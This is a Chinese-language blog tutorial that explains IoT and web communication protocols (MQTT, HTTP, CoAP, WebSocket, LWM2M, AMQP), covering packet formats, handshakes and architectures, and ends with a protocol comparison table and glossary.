【001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂】

001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂

文章目录

  • 001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂
    • 创作背景
    • 通信模型
      • ISO/OSI七层模型 和 TCP/IP四层模型
      • 网络通信数据包格式(Ethernet II)
    • MQTT - Message Queuing Telemetry Transport(v3.1.1)
      • MQTT 数据包格式
      • MQTT库
      • 官方文档
    • HTTP - Hypertext Transfer Protocol
      • HTTP消息格式
      • HTTP 常用请求方法
      • HTTP 常用请求头
      • HTTP 常用响应头
      • HTTP 常用返回码
      • HTTP 测试工具
    • CoAP - Constrained Application Protocol
      • CoAP 和 HTTP 区别
      • CoAP 结构模型
      • CoAP 消息/Message层
      • CoAP 请求Request/响应Response层
      • CoAP 消息/Message 格式
      • CoAP 智能家居的应用
      • CoAP 常用库
    • WebSocket
      • `WebSocket` 解决 `HTTP` 单向通信限制:
      • `WebSocket` 解决 `HTTP` 服务端无法主动通知客户端:
      • `WebSocket` 分层结构
      • `WebSocket` 协议
      • Websocket URI说明
      • WebSocket 格式
      • Websocket Mask/掩码处理
      • WebSocket 实现库
      • HTTP VS. Websocket
        • **HTTP 更适合的场景**
        • **WebSocket 更适合的场景**
    • LWM2M
      • LWM2M总体架构
      • LWM2M 客户端/Client 引擎架构
      • LWM2M对象模型
      • LWM2M 内部对象
      • LWM2M 设备管理
      • LWM2M 应用场景示例
    • AMQP - Advanced Message Queuing Protocol
      • AMQP 整体架构
      • AMQP交换机类型/AMQP Exchange Type
    • IoT 通信协议对比
    • 术语

创作背景

学历代表过去、能力代表现在、学习力代表将来。 一个良好的学习方法是通过输出来倒逼自己输入。写博客既是对过去零散知识点的总结和复盘,也是参加了 零声教育 写博客活动。

零声教育体验课:https://xxetb.xetslk.com/s/3fbO81

本文是开发过程中的知识点总结,供大家学习交流使用,如有任何错误或不足之处,请在评论区指出。

通信模型

ISO/OSI七层模型 和 TCP/IP四层模型

img_network_model

如图,左边为 ISO/OSI 7层模型,右边是 TCP/IP 4层模型,中间为各层对应的协议。

  • HTTP:超文本传输协议,用于在 客户端/C和服务器/S 之间传输和交换Web页面和数据。
  • Websocket:在HTTP基础上提供了 双向通信 能力的协议,适用于实时交互式应用。
  • MQTT:消息队列遥测传输,一种轻量级的 发布/订阅 消息传输协议,常用于物联网设备之间的通信。
  • AMQP:高级消息队列协议,用于可靠地传输和交换消息的协议,适用于 企业级消息队 列系统。
  • CoAP:约束应用协议,一种专为受限环境(如物联网设备)设计的轻量级通信协议, 一般基于UDP。
  • LWM2M:物联网设备管理和数据传输协议,基于CoAP层之上的,用于远程管理和监控物联网设备。
  • TCP: 面向连接的、可靠的数据传输,适用于对数据完整性要求高的场景,会增加延时,如数据需要加密则在应用层和TCP层之间加入TLS/SSL相关库(openssl、mbedTLS)进行数据加密。
    IEEE 802.11 ax 为Wi-FI 6,在通信过程中一般在底层会把包转换以太网格式,因此在 tcpdump 等工具抓出来的包显示的是以太网包
  • UDP: 面向无连接的、不可靠的数据传输,适用于实时性要求高但对数据丢失不敏感的应用,有些场景会应用层实现可靠传输,实现数据加密(DTLS)。
  • IEEE 802.3 : 以太网局域网技术的规范。
  • IEEE 802.11 :一系列(IEEE 802.11 a/g/n/ax)无线局域网(WLAN)标准,它规定了无线网络的各种方面,包括传输速率、频谱利用、安全性等。

网络通信数据包格式(Ethernet II)

img_ethernet_ii_format
如图,Ethernet II 数据包格式:

  • Preamble(前导码):7个字节,用于在数据包传输之前进行同步。
  • Start of Frame Delimiter(帧起始符):1个字节,指示数据包的开始。
  • 目的地址(Destination Address):6个字节,指示数据包的目标MAC地址。
  • 源地址(Source Address):6个字节,指示数据包的源MAC地址。
  • 类型/长度(Type/Length):2个字节。当数值小于等于 1500 时,表示长度,当数值大于 1500 时,表示类型。长度指示了上层数据的长度,类型指示了上层协议的类型,如IPv4(0x0800)、IPv6(0x86DD)等。
  • 有效载荷(Payload):46-1500个字节,包含了上层协议的数据。
  • 帧校验序列(Frame Check Sequence):4个字节,用于校验数据包在传输过程中是否损坏。
  • Interpacket Gap(包间间隔):12个字节,用于在两个数据包之间进行间隔,确保网络设备能够正确处理数据包。

MQTT - Message Queuing Telemetry Transport(v3.1.1)

  • M2M/IoT连接协议
  • 极轻量级的发布/订阅消息传输
  • 小型代码,网络带宽非常有限
  • 卫星链路、拨号上网、家庭自动化和小型设备场景
  • 小尺寸、低功耗、数据包尺寸最小化

img_mqtt_overview

如图,在MQTT协议中,有三个重要的角色:发布者(Publisher)代理(Broker)订阅者(Subscriber)

  • 发布者(Publisher)

    发布者是MQTT网络中的客户端,负责发布(发送)消息到MQTT代理(Broker)。发布者将消息发送到一个或多个主题(Topic),并且可以选择消息的服务质量级别(QoS)。

  • 代理(Broker)

    代理是MQTT网络中的中介,负责接收发布者发布的消息,并将其传递给订阅者。它负责维护订阅者与发布者之间的关系,处理订阅和取消订阅的请求,并确保消息按照订阅者的需求进行传递。

  • 订阅者(Subscriber)

    订阅者是MQTT网络中的客户端,负责订阅(接收)一个或多个主题(Topic)的消息。订阅者告知代理它感兴趣的主题,然后代理在有新消息发布时将其传递给订阅者。

MQTT 数据包格式

img_mqtt_package_format

  1. 固定头部(Fixed Header)

    字段描述
    0-3控制报文类型指示数据包的类型,如CONNECT、PUBLISH等。
    4DUP指示消息是否是重发的副本。
    5-6QoS指示消息的服务质量级别。
    7RETAIN指示代理是否应保留已发布的消息。
    8+剩余长度(RL)① 编码剩余长度字段,表示可变头部和有效载荷的总长度。
    最多可以使用4个字节来编码长度字段。
    ② 最高位为0表示剩余长度的编码结束,
    7个比特位用于表示长度的最低7位。
    ③ 每个字节的最高位为1,
    表示后续还有剩余长度字段,
    剩下的7个比特位用于表示长度的下一个字节。
    ④ MAX=268435455 (0xFF, 0xFF, 0xFF, 0x7F)。
    • 控制报文类型,如下表所示:
      控制报文类型描述
      Reserved0保留,不使用。
      CONNECT1客户端请求连接到代理。
      CONNACK2代理对 CONNECT 请求的响应。
      PUBLISH3发布消息到指定主题。
      PUBACK4对 QoS 1 的 PUBLISH 报文的确认。
      PUBREC5对 QoS 2 的 PUBLISH 报文的接收。
      PUBREL6对 QoS 2 的 PUBLISH 报文的释放。
      PUBCOMP7对 QoS 2 的 PUBLISH 报文的完成。
      SUBSCRIBE8订阅一个或多个主题。
      SUBACK9对 SUBSCRIBE 报文的确认。
      UNSUBSCRIBE10取消订阅一个或多个主题。
      UNSUBACK11对 UNSUBSCRIBE 报文的确认。
      PINGREQ12客户端发送心跳请求。
      PINGRESP13代理对 PINGREQ 请求的响应。
      DISCONNECT14客户端主动断开连接。
      Reserved15保留,不使用。
    • QoS, 如下表所示:
      QoS描述
      00最多一次传输(At most once):消息可能丢失。
      11至少一次传输(At least once):消息至少被传输一次,但可能会重复。
      22有且仅有一次传输(Exactly once):确保消息仅被传输一次。
  2. 可变头部(Variable Header)

    • 根据报文类型的不同,可变头部的内容也不同(不是所有的类型都有可变头)。例如,CONNECT 报文的可变头部包含协议版本号、连接标志等。具体如下表所示:
      img_mqtt_variable_header

      可变头部的数据包标识符字段在几种数据包类型中是共同存在的,具体是否存在,如下表:
      img_mqtt_variable_header_id

  3. 有效载荷(Payload):Payload 数据段是 MQTT 数据包中实际传输的部分,它是实现 MQTT 消息传输的核心。

    • 数据包是否有payload,如下表所示:
    • Payload 各类型数据包
      img_mqtt_payload

MQTT库

  • Servers/Brokers:
    • 这个链接链接列出来很多MQTT库:https://github.com/mqtt/mqtt.org/wiki/servers
    • 其中用得比较广泛的有EMQX、Mosquitto、NanoMQ、VerneMQ,这里是这4个的性能对比。
  • Client:
    • 客户端的库就非常多了,可以参考这里
    • 其中MQTTX用来测试非常不错,地址:https://mqttx.app/。

官方文档

  • mqtt-v3.1.1: https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.pdf
  • mqtt-v5.0: https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.pdf

HTTP - Hypertext Transfer Protocol

HTTP(,超文本传输协议)是一种用于传输超文本的应用层协议,它是万维网的基础。HTTP 被用于在 Web 浏览器和 Web 服务器之间传递数据。

HTTP 版本RFC 文档发布时间主要特性
HTTP/0.9RFC 19451990- 最初的版本,只支持 GET 方法
- 响应内容是 HTML 格式
HTTP/1.0RFC 20681996- 引入了请求头和响应头
- 支持更多的请求方法和状态码
HTTP/1.1RFC 2616
RFC 7230-7235
1997
2014
- 当前互联网使用最广
- 引入持久连接,提高性能
- 支持管道化,允许并行发送多个请求
- 引入 Host 头字段,支持虚拟主机
- 协议参考这里
HTTP/2RFC 75402015- 使用二进制格式进行传输,减少了传输的开销
- 引入了头部压缩机制,减少了头部的大小
- 支持多路复用,允许在单个连接上发送多个请求和响应
HTTP/3RFC 91142019- 基于 QUIC 协议,提供更快的连接建立和数据传输
- 改善了性能和安全性,减少了网络延迟

HTTP消息格式

消息格式说明
起始行/请求行/状态行包含协议版本、状态码和状态消息(对于响应消息)
请求方法、请求URI和协议版本(对于请求消息)。
0或多个请求头包含一系列键值对,每个键值对描述了消息的一些信息,如Content-TypeContent-Length等。每个键值对以冒号分隔,键值对之间以换行符分隔。
空行用于分隔请求头和消息体,通常只包含一个换行符,表示请求头结束。
可选消息体包含具体的消息内容,如POST请求中的表单数据或服务器返回的HTML页面内容。对于GET请求,通常没有消息体。
空行表示消息体的结束,后面没有其他内容。

具体消息格式如下图所示:
img_http_protocol

HTTP 常用请求方法

序号请求方法描述
1GET请求指定的资源。
2POST向指定的资源提交数据进行处理请求(例如提交表单或上传文件)。
3PUT请求服务器存储一个资源,并用请求的数据替换指定的资源。
4DELETE请求服务器删除指定的资源。
5HEAD类似于GET请求,但服务器只返回请求头,不返回请求体。
6PATCH请求服务器对资源进行部分修改。
7OPTIONS请求查询服务器支持的HTTP请求方法和其他特性,在跨域请求的时候,在调用其它方法前,会调用此方法。
8TRACE用于测试远程服务器的性能。

HTTP 常用请求头

序号请求头描述
1User-Agent客户端标识,包含了客户端的软件类型、操作系统、软件版本等信息。
2Accept告诉服务器客户端能够处理的媒体类型和媒体类型的相对优先级。
3Content-Type请求或响应的实体的媒体类型。
4Content-Length请求或响应实体的长度(以字节为单位)。
5Host表示服务器的主机名和端口号。
6Cookie客户端向服务器发送的Cookie信息。
7Cache-Control控制缓存行为的指令,如no-cache、max-age等。
8Accept-Encoding告诉服务器客户端能够解码的编码方式。
9Accept-Language告诉服务器客户端偏好的自然语言。
10Referer表示请求的来源,即前一个页面的URL。
11Authorization包含客户端提供给服务器的身份验证凭证。
12Origin请求的来源,用于跨域请求。
13Connection控制是否保持连接,如keep-alive、close等。
14If-Modified-Since如果资源自指定日期以来没有被修改,则发送请求。
15If-None-Match如果资源与指定的ETag匹配,则发送请求。

HTTP 常用响应头

序号响应头描述
1Content-Type响应的实体的媒体类型。
2Content-Length响应实体的长度(以字节为单位)。
3Cache-Control控制缓存行为的指令,如no-cache、max-age等。
4Content-Encoding响应实体的编码方式,如gzip、deflate等。
5Server表示响应的服务器软件类型和版本号。
6Last-Modified表示响应实体的最后修改时间。
7Location重定向时新的URL。
8Set-Cookie服务器向客户端设置的Cookie信息。
9Expires表示响应的过期时间。
10ETag资源的唯一标识,用于缓存控制。
11Content-Disposition响应实体的处理方式,如inline、attachment等。
12Access-Control-Allow-Origin指定响应可以被哪些域访问。
13Access-Control-Allow-Headers指定响应可以被哪些请求头访问。
14Access-Control-Allow-Methods指定响应可以支持哪些HTTP方法。
15Access-Control-Allow-Credentials指定响应中是否包含凭证信息。

HTTP 常用返回码

序号状态码描述
1100继续。客户端应继续其请求。
2101切换协议。服务器正在协商切换协议。
3200请求成功。
4201请求已经被实现,而且有一个新的资源已经依据请求的需要而建立。
5204服务器成功处理了请求,但不需要返回任何实体内容。
6301永久性重定向。
7302临时性重定向。
8304资源未修改,客户端可使用缓存数据。
9400请求参数有误。
10401需要身份验证。
11403服务器拒绝请求。
12404请求的资源不存在。
13405请求方法不被允许。
14500服务器内部错误。
15502网关错误。
16503服务不可用。
17504网关超时。

HTTP 测试工具

  • Postman: 非常好用
  • Linux curl 命令

CoAP - Constrained Application Protocol

一种专为受限环境和物联网设备设计的轻量级通信协议。它被设计用于在资源受限的网络中进行低带宽、低功耗的通信。
主要特性如下:

  • 在受限环境中满足机器对机器(M2M)需求的Web协议
  • 基于UDP [RFC0768] ,支持可选的可靠性,同时支持单播和组播请求。
  • 异步消息交换
  • 低报头开销和解析复杂性。
  • URI 和内容类型支持。
  • 简单的代理和缓存功能。
  • 无状态的 HTTP 映射,允许构建代理以一种统一的方式通过 HTTP 访问 CoAP 资源,或者通过 CoAP 实现简单的 HTTP 接口。
  • 安全绑定到数据报传输层安全性 (DTLS) [RFC6347]。

CoAP 和 HTTP 区别

  • CoAP 是面向网络的协议,使用类似于 HTTP 的特性,但也允许低开销、组播等。
  • 与基于HTTP的协议不同,CoAP 使用 UDP 而不是像 TCP 那样使用复杂的拥塞控制。
    如下图是分层对比图:
    img_coap_vs_http

CoAP 结构模型

img_coap_structure_model

  • 图中显示了 CoAP 采用了两层结构。
  • 底层是消息层,设计用于处理 UDP 和异步切换。
  • 请求/响应层涉及通信方法,并处理请求/响应消息。

CoAP 消息/Message层

  • 4种消息类型:

    消息类型数值描述
    Confirmable0可确认的消息,需要接收到确认响应。
    Non-confirmable1不需要确认的消息,发送后不期望接收到响应。
    Acknowledgment2确认消息的响应,用于确认接收到 Confirmable 消息。
    Reset3重置消息,用于表示对某个消息的不理睬或超时。
  • 可靠/不可靠消息传输

img_coap_message_layer_model

  • 可靠消息传输: 持续重传直至收到带有相同消息ID的确认消息(ACK)。当接收方完全无法处理CON消息时,会用RST替换ACK作为响应。
  • 不可靠消息传输: 不需要进行确认(ACK),但必须包含消息ID以便在重传时进行监控。当接收方无法处理NON消息时,可能会以RST作为回复。

CoAP 请求Request/响应Response层

img_coap_request_response_layer_model

  • Piggybacked response(承载式响应): 当客户端发送一个带有确认请求标志(CON)或不带确认请求标志(NON)的消息时,如果服务器可以立即响应,则服务器可以将响应直接放在确认消息(ACK)中发送回客户端。这样的响应方式称为承载式响应,因为响应“搭载”在了确认消息中一起发送,节省了额外的网络往返时间。
  • Separate response(分离式响应): 如果服务器不能立即响应客户端的请求,或者需要更长的时间来准备响应,服务器会先发送一个空的确认消息(ACK)给客户端,然后在准备好响应后,以一个新的确认消息(CON)的形式单独发送响应。这种响应方式称为分离式响应,因为响应和确认消息是分开发送的。

CoAP 消息/Message 格式

img_coap_message_format

  • 版本(Ver/Versionh): CoAP版本,必须设置为 1,其他值保留给未来版本使用。
  • 类型(T/Type): 消息类型,可为 Confirmable (0), Non-confirmable (1), Acknowledgement (2), 或 Reset (3)。
  • 令牌长度(TKL/Token Length): 令牌字段的长度,最大为 8 字节。
  • 代码(Code): 消息代码,格式为 “c.dd”,其中 c=0-6,dd=0-31。
  • 消息ID(Message ID): 用于匹配类型的消息ID。
  • 令牌(Token): 令牌值用于关联请求和响应。
  • 选项(Options): 零个或多个选项。
  • 负载标记器(Payload Marker): 0xFF
  • 负载(Payload): 负载数据从标记器后开始,延伸至UDP数据包的末尾。T

CoAP 智能家居的应用

img_coap_for_smarthome

CoAP 常用库

库名语言客/服务端支持描述链接
aiocoapPython 3Client + ServerBlockwise Transfers, Observe (partial)aiocoap
CaliforniumJavaClient + ServerObserve, Blockwise Transfers, DTLSCalifornium
cantcoapC++/CClient + Servercantcoap
CanopusGoClient + ServerCoreCanopus
CoAPSharpC#, .NETClient + ServerCore, Observe, Block, RDCoAPSharp
CoAPthonPythonClient + Server + Forward Proxy + Reverse ProxyObserve, Multicast server discovery, CoRE Link Format parsing, Block-wiseCoAPthon
CoAP ShellJavaClientObserve, Blockwise Transfers, DTLSCoAP Shell
CopperJavaScriptClientObserve, Blockwise TransfersCopper
eCoAPCClient + ServerCoreeCoAP
iCoAPObjective-CClientCore, Observe, Blockwise TransfersiCoAP
jCoAPJavaClient + ServerObserve, Blockwise TransfersjCoAP
libcoapCClient + ServerObserve, Blockwise Transfers, DTLSlibcoap
LibNyociCClient + ServerCore, Observe, Block, DTLSLibNyoci
lobaro-coapCClient + ServerObserve, Blockwise Transferslobaro-coap
microcoapCClient + Servermicrocoap
nCoapJavaClient + ServerObserve, Blockwise Transfers, CoRE Link Format, Endpoint-ID-DraftnCoap

WebSocket

  • WebSocket是一种在单个TCP连接上提供全双工通信的网络协议。
  • 它通过在客户端和服务器之间建立持久连接来实现双向通信,从而允许服务器实时地向客户端推送数据,而无需客户端发送请求。
  • WebSocket协议通过HTTP/HTTPS端口(80/443)与服务器进行握手,并在建立连接后使用自定义的WebSocket协议进行通信。
  • WebSocket通常用于实现实时的Web应用程序,如在线游戏、聊天应用程序、股票市场数据更新等。
  • 相比于传统的HTTP请求/响应模式,使得服务端可以主动通知客户端,具有更低的延迟和更高的效率,同时可以减少服务器和客户端之间的通信开销。

WebSocket 解决 HTTP 单向通信限制:

img_websocket_vs_http

WebSocket 解决 HTTP 服务端无法主动通知客户端:

img_websocket_vs_http_2

WebSocket 分层结构

img_websocket_layer_model

WebSocket 协议

  • WebSocket协议包括2部分

    • 握手/Handshake
    • 数据传输/Data Tranfer
  • 握手/Handshake

    • 客户端请求:
      握手过程始于一个 HTTP 升级请求/响应。允许 HTTP 服务器与 WebSocket 网关或服务器共享它们的默认 HTTPHTTPS 端口(80443)。一旦连接建立,通信就会切换到 WebSocket 协议,该协议不符合 HTTP 协议。
      GET /chat HTTP/1.1 
      Host: server.example.com 
      Upgrade: websocket 
      Connection: Upgrade 
      Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== 
      Sec-WebSocket-Protocol: chat, superchat 
      Sec-WebSocket-Version: 13 
      Origin: http://example.com
      
    • 服务端响应:
      HTTP/1.1 101 Switching Protocols 
      Upgrade: websocket 
      Connection: Upgrade 
      Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk= 
      Sec-WebSocket-Protocol: chat
      
      
    • 请求URI: 标识WebSocket连接的端点。
    • 主机: 客户端和服务器都可以验证它们同意使用哪个主机。
    • Sec-WebSocket-Protocol: 指示客户端可接受哪些子协议(WebSocket协议之上的应用层协议)。
    • 来源: 通过WebSocket API在Web浏览器中的脚本保护WebSocket服务器免受未经授权的跨源使用。
    • Sec-WebSocket-Key/Sec-WebSocket-Accept: 这可以防止攻击者通过使用XMLHttpRequest或表单提交向WebSocke 服务器发送精心制作的数据包来欺骗WebSocket服务器。
    • 状态码: 除了101之外的其他代码表示WebSocket握手尚未完成,仍然适用HTTP的语义。
    • 关闭流程: 任一对等方都可以发送一个带有数据的控制帧,其中包含指定的控制序列,以开始关闭握手。收到这样的帧后,另一个对等方会发送一个Close帧作为响应。

Websocket URI说明

官方文档种定义两个URI方案,使用了ABNF语法(由[RFC5234]定义)和URI规范(由[RFC3986]定义)中定义的ABNF产生式。

ws-URI = "ws:" "//" host [ ":" port ] path [ "?" query ]
wss-URI = "wss:" "//" host [ ":" port ] path [ "?" query ]

host = <host, defined in [RFC3986], Section 3.2.2>
port = <port, defined in [RFC3986], Section 3.2.3>
path = <path-abempty, defined in [RFC3986], Section 3.3>
query = <query, defined in [RFC3986], Section 3.4>
  • 端口组件是可选的;对于 “ws”,默认端口是 80,而对于 “wss”,默认端口是 443。
  • 如果方案组件不区分大小写地方 “wss” 匹配,则称 URI 为 “secure”。
  • 在 WebSocket URI 的上下文中,片段标识符是无意义的,不得在这些 URI 上使用。与任何 URI 方案一样,字符 “#” 在不表示片段起始时必须转义为 %23。

WebSocket 格式

img_websocket_base_framing
opcode:

  • %x0 :继续帧/a continuation frame
  • %x1 :文本帧/text frame
  • %x2 :二进制帧/binary frame
  • %x3-7 :保留/reserved
  • %x8 :连接关闭帧/connection close
  • %x9 :PING 帧/ping
  • %xA :PONG 帧/pong
  • %xB-F :保留/reserved
字段描述
FIN1=消息中的最后一个片段
RSV1, RSV2, RSV3非零=扩展
MASK定义 “Payload 数据” 是否masked/被掩码处理
Masking-key0 或 4 字节的长度
Payload length7 位、7+16 位或 7+64 位的长度
Payload扩展数据 + 应用数据

Websocket Mask/掩码处理

WebSocket掩码处理是WebSocket协议中的一项安全机制,用于在客户端和服务器之间传输数据时对数据进行混淆,以防止第三方窃取或篡改数据。

  • 所有从客户端发送到服务器的帧都将MASK位设置为1。
  • 它用于对与帧载荷数据在同一部分定义的“Payload data”进行掩码处理,其中包括“Extension data”和“Application data”。
  • 发送方(客户端)将数据按字节分割,并与掩码密钥的每个字节进行按位异或(XOR)运算。
  • 接收方(服务器)接收到数据后,使用相同的掩码密钥对数据进行解码,以还原原始数据。
  • 如下,转换后数据的第 i 个八位字节(“transformed-octet-i”)是原始数据的第 i 个八位字节(“original-octet-i”)与掩码密钥中第 i 个索引(模 4)的八位字节(“masking-key-octet-j”)进行异或运算的结果:
j = i MOD 4
transformed-octet-i = original-octet-i XOR masking-key-octet-j

WebSocket 实现库

img_websocket_implement_library

HTTP VS. Websocket

img_websocket_vs_http_3

HTTP 更适合的场景
  • 获取资源: 需要状态但不需要持续更新。如,获取页面,但不需要更新页面内容。
  • 可高度缓存的资源: 当资源变化不频繁或多个客户端会频繁请求相同资源时,资源从缓存种取,这样较少服务器负载,提高性能。
  • 幂等性和安全性: “幂等”即请求一次或多次都会产生相同的结果,请求重试或失败提高数据一致性。另一方面,POST和PUT于更新资源,需要身份验证和授权,确保安全性。
  • 错误场景: 标准的错误状态码机制
  • 同步事件: 客户端发送请求并等待服务器的响应。
WebSocket 更适合的场景
  • 快速反应时间
  • 持续更新
  • 即时通讯
  • 频繁通信与小负载

LWM2M

LWM2M是一种针对物联网设备设计的轻量级机器到机器通信协议,提供了高效的远程管理和通信能力,同时保持了低功耗和高安全性。这使得它成为物联网领域中的重要标准之一,广泛应用于各种物联网场景中。

  • 轻量级协议: LWM2M采用轻量级的通信协议,适用于资源受限的物联网设备,如嵌入式设备、传感器等。
  • 远程管理: LWM2M允许对物联网设备进行远程管理,包括配置、监视、更新和维护,提高了设备的灵活性和效率。
  • 资源模型: LWM2M使用资源模型描述设备功能和属性,基于RESTful原则,允许通过HTTP等协议对设备进行访问和操作。
  • 低功耗: 设计用于低功耗和有限网络带宽环境,具有高效的能源和网络资源利用率。
  • 安全性: 提供安全的通信机制,包括数据加密、身份验证和访问控制,确保设备之间的通信和管理安全可靠。

LWM2M总体架构

img_lwm2m_architecture
LWM2M 架构由 对象(Objects)、**接口(Interfaces)**和 **协议栈(Stack)**组成。

  1. 对象: 每个对象代表设备的一个功能或属性,如传感器、执行器等。对象由多个资源组成,描述设备的状态、配置和控制。
  2. 接口: 提供标准的方法与对象进行交互,包括读取资源、写入资源、观察资源变化等。
  3. 协议栈: 实现LWM2M协议的软件组件,处理通信、消息解析、设备管理等功能。

在LWM2M分层结构中:

  • UDP:为设备和服务器之间的通信
  • SMS:作为备用通信机制,用于发送警报、通知或命令。
  • DTLS:提供安全的数据传输,包括加密、身份验证和数据完整性保护。
  • CoAP:是LWM2M的下一层协议,作为基础通信协议,支持设备和服务器之间的轻量级、高效的通信和管理。

LWM2M 客户端/Client 引擎架构

img_lwm2m_client_engine_architecture

LWM2M对象模型

对象(Object)是最高级别的组织单位,每个对象代表了设备的一个功能或属性集合。每个对象由一个或多个资源(Resource)组成,资源表示对象的一个具体属性或功能。资源可以是只读的、可写的或可观察的,用于描述设备的状态、配置和控制。对象还可以包含一个或多个实例(Instance),实例用于区分具有相同功能的不同设备。

img_lwm2m_object_model_01

  • 对象/资源访问 URI: /{Object ID}/{Object Instance}/{Resource ID},示例如下图:
    img_lwm2m_object_example

LWM2M 内部对象

  1. Security Object(安全对象): 用于配置设备的安全性设置,包括用于DTLS握手的密钥和证书。
  2. Server Object(服务器对象): 用于配置设备连接到的LWM2M服务器的参数,如服务器地址、端口和传输模式等。
  3. Access Control Object(访问控制对象): 用于管理对设备资源的访问权限,包括读、写、执行和观察等操作。
  4. Device Object(设备对象): 提供设备的基本信息和状态,如制造商、型号、固件版本等。
  5. Connectivity Monitoring Object(连接监控对象): 用于监视设备的连接状态和网络参数,如信号强度、网络类型等。
  6. Firmware Object(固件对象): 用于管理设备固件的更新和升级过程,包括下载、安装和验证等操作。
  7. Location Object(位置对象): 提供设备的地理位置信息,包括经度、纬度、海拔等。
  8. Connectivity Statistics Object(连接统计对象): 提供设备的连接统计信息,如连接时长、数据传输量等。

LWM2M 设备管理

img_lwm2m_device_management

LWM2M 应用场景示例

img_lwm2m_application_scenario

AMQP - Advanced Message Queuing Protocol

  • 一种可靠的消息传递协议,用于构建分布式系统和异步通信,提供灵活的消息模式和跨平台支持。
  • 它被广泛应用于金融、电信和物联网等领域,以实现高效的消息交换和异步处理。
  • 包括消息导向、消息队列、消息路由(包括点对点和发布-订阅)、可靠性和安全性。

生产消费模型如下:
img_amqp_producer_consumer_model

AMQP 整体架构

img_amqp_architecture

  1. Broker(代理): 代理是消息队列系统中的中间件组件,负责接收、路由和传递消息。它充当消息的中转站,管理消息的存储和转发。
  2. Virtual Host(虚拟主机): 虚拟主机是在消息代理中创建的逻辑消息服务环境。它允许多个应用程序共享同一个消息代理,每个虚拟主机都有自己的独立消息队列和交换机等资源。
  3. Connection(连接): 连接是客户端与消息代理之间的通信通道,用于发送和接收消息。一个连接可以包含多个通道(channels),允许客户端并行发送和接收多个消息。
  4. Channel(通道): 通道是在连接上创建的逻辑通信通道,用于在客户端和消息代理之间进行消息传递。通道可以看作是连接内的独立会话,允许客户端并行进行多个操作。
  5. Exchange(交换机): 交换机是消息代理中的组件,负责接收来自生产者的消息,并根据预定的路由规则将消息路由到一个或多个队列中。它定义了消息的路由策略和目标队列。
  6. Queue(队列): 队列是消息代理中用于存储消息的数据结构,它按照先进先出(FIFO)的原则处理消息。消费者从队列中获取消息,并对其进行处理。
  7. Binding(绑定): 绑定是交换机和队列之间的关联关系,它定义了交换机如何将消息路由到队列。绑定通常使用路由键(routing key)来指定消息的路由规则,将满足条件的消息发送到相应的队列中。

AMQP交换机类型/AMQP Exchange Type

AMQP交换机的类型,用于定义消息的路由规则和行为。
AMQP定义了几种主要的交换机类型,每种类型都有不同的路由策略和行为,提供了不同的消息路由策略,允许开发者根据应用场景选择最适合的交换机类型来实现消息的路由和传递,如下图3种交换机类型:

img_amqp_exchange_type

  1. Direct Exchange(直连交换机): 直连交换机将消息根据指定的路由键(routing key)发送到与之完全匹配的队列中。它适用于一对一的消息传递,消息将被发送到唯一的队列中。

  2. Fanout Exchange(广播交换机): 广播交换机将消息发送到所有与之绑定的队列中,忽略路由键。它适用于一对多的消息广播,消息将被发送到所有绑定的队列中。

  3. Topic Exchange(主题交换机): 主题交换机根据消息的路由键和交换机与队列之间的绑定规则将消息发送到匹配的队列中。它支持通配符匹配,可以根据路由键的模式匹配将消息发送到多个队列中。

  4. Headers Exchange(头交换机): 头交换机根据消息的头部属性将消息发送到与之匹配的队列中。它不依赖于路由键,而是根据消息头部的属性进行匹配。

IoT 通信协议对比

ProtocolMQTTCoAPHTTPWebsocketAMQPXMPPDDSJMSM3DASTOMPSNMP
ArchitectureClient/ServerClient/ServerClient/ServerClient/ServerClient/ServerClient/Gateway/ServerClient/ServerClient/ServerClient/ServerClient/ServerClient/Server
ModelPublish/SubscribeRequest/ResponseRequest/ResponseN/AProducer/ConsumerPublish/SubscribePublish/SubscribePublish/SubscribeMessage/ResponseProducer/ConsumerAgent Mnanager
RelationshipMany-to-ManyOne-to-OneMany-to-OneOne-to-OneMany-to-ManyMany-to-ManyMany-to-ManyMany-to-ManyOne-to-OneMany-to-ManyMany-to-one
Transfer EfficiencyHighHighGeneralHighHighGeneralHighGeneralHighGeneralGeneral
Time-validityHighPoorPoorHighHighHighVery HighGeneralHighPoorGeneral
Power consumptionGeneralLowHighHighHighHighHighHighLowHighHigh
QoS SupportYesNoNoNoYesYesYesNoNoNoNo
Hard-Real-Time CapabilityNoNoNoNoNoNoYesNoNoNoNo
Coding WayBinaryBinaryText(XML/JSON)Binary/TextBinaryXMLBinaryBinaryBinaryText/BinaryASN.1
InteroperabilityPortionYesYesYesYesYesYesNoYesYesYes
2G, 3G, 4G Suitability
(1000s nodes)
ExcellentExcellentExcellentN/AExcellentExcellentN/AN/AN/AN/AN/A
LLN Suitability
(1000s nodes)
FairExcellentFairN/AFairFairN/AN/AN/AN/AN/A
Resource ConsumptionGeneralLowGeneralGeneralGeneralGeneralGeneralHighLowGeneralHigh
Long ConnectionYesNoNoYesYesYesN/AYesN/AYesNo
SecurityAccount/SSL/TLSDTLSSSL/TLSSSL/TLSSASL/SSL/TLSSSL/TLSSSL/TLSSSL/TLS/JAASSSL/TLS/DTLSSSL/TLSDTLS
TransportTCPUDP/SMSTCPTCPTCPTCPUDP/IPTCP(default)HTTP/TCP/UDP/SMSTCPUDP
IPIP6LoWPANIPIPIPIPIPIPIPIPIP
ImplementlibumqttlibcoapcurluWebSocketsOpenAMQOpenfireOpenDDSOpenJMSMihinilibstompnet-snmp
Implementmosquittomicrocoaphttpdws-rsRabbitMQglooxOpenSplice DDSmom4j

术语

  • N/A: Not Available - 不适用
  • QoS: Quality of Service - 服务质量
  • ASN.1: Abstract Syntax Notation dotone - 抽象语法表示法一
  • 6LoWPAN: IPv6 over Low-Power Wireless Personal Area Network - 低功耗无线个人区域网络上的IPv6
  • SSL: Secure Sockets Layer - 安全套接字层
  • TLS: Transport Layer Security - 传输层安全性
  • JAAS: Java Authentication and Authorization Service - Java身份验证和授权服务
  • SMS: Short Messaging Service - 短信服务
  • LLN: Line Link Network - 线路链路网络

